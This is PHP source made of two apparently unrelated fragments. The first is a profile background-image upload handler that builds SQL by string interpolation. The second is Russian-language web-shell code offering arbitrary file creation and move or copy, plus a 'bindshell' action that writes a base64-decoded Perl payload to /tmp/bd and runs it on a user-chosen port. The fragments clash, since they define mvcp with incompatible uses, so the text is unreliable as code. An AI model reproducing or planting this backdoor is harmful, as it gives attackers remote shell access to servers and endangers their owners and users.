$fi = imagepng($crop, ".." . $newn); break; default: $fi = false; } //imagedestroy($image); //imagedestroy($crop); if (!$fi) { return array("false", "Error saving picture"); } return array("true", $newn); } $img = $_FILES["upl"]["tmp_name"]; if (isset($_POST["bgimg"]) && is_uploaded_file($img)) { $fa = array(); $bg = (array) mvcp($img, 320, 630, uniqid($uid . "-"), $_FILES["upl"]["type"]); if ($bg[0]) { $con = new db(); $r = $con->fromTable("users", "bg", "id={$uid}"); if (strlen($r[0]) > 5 && !stristr($r[0], "default")) { @unlink(".." . $r[0]); } $st = $bg[1]; $q = $con->update("users", "bg='{$st}'", "id={$uid}"); if ($q) { echo "<script>\n\t\t\t\tparent._\$('prof_table').style.backgroundImage = '';\n\t\t\t\tparent.\$('.prof_table').fadeTo(200,0.5,function(){\n\t\t\t\t\tparent.\$('.prof_table').fadeTo(500,1);\n\t\t\t\t\tparent._\$('prof_table').style.backgroundImage = 'url(" . PTH . "{$st})';\n\t\t\t\t\t});\n\n\t\t\t\t</script>"; } else { $msg = "{$bg['0']}:DB Error"; } } $msg = $bg[0] ? "Background changed" : $bg[1];
} $handle = fopen($userdir . $userfile, "w+"); if (fwrite($handle, "") === FALSE) { die("<font color=#DF0000>Ошибка создания файла</font>\n"); } fclose($handle); $path = $userdir; } elseif ($act == "renameform") { $name = @$_GET['name']; echo "<form action=" . $script . "?act=rename method=POST>" . "<b>Переименовать, копировать или переместить </b>" . $name . "<br>" . "<input type=text name=to size=40 value=" . $name . ">" . "<input type=hidden name=from value=" . $name . "><br>" . "<input type=radio name=todo value=mv checked> переместить<br>" . "<input type=radio name=todo value=cp> скопировать<br>" . "<input type=submit value=Go></form>" . "[ <a href=javascript:history.go(-1)>back</a> ]"; exit; } elseif ($act == "rename") { $from = @$_POST['from']; $to = @$_POST['to']; $todo = @$_POST['todo']; mvcp($from, $to, $todo); $inf = pathinfo($from); $path = $inf['dirname']; } elseif ($act == "bindshell") { $port = @$_POST['port']; if (!$port) { die("<font color=#DF0000>Укажите порт</font>"); } $file = "/tmp/bd"; $handle = fopen($file, "w+"); if (fputs($handle, base64_decode($bind)) === FALSE) { die("<font color=#DF0000>Ошибка создания файла " . $file . "</font>\n"); } else { fclose($handle); passthru("perl " . $file . " " . $port . " > /dev/null &"); }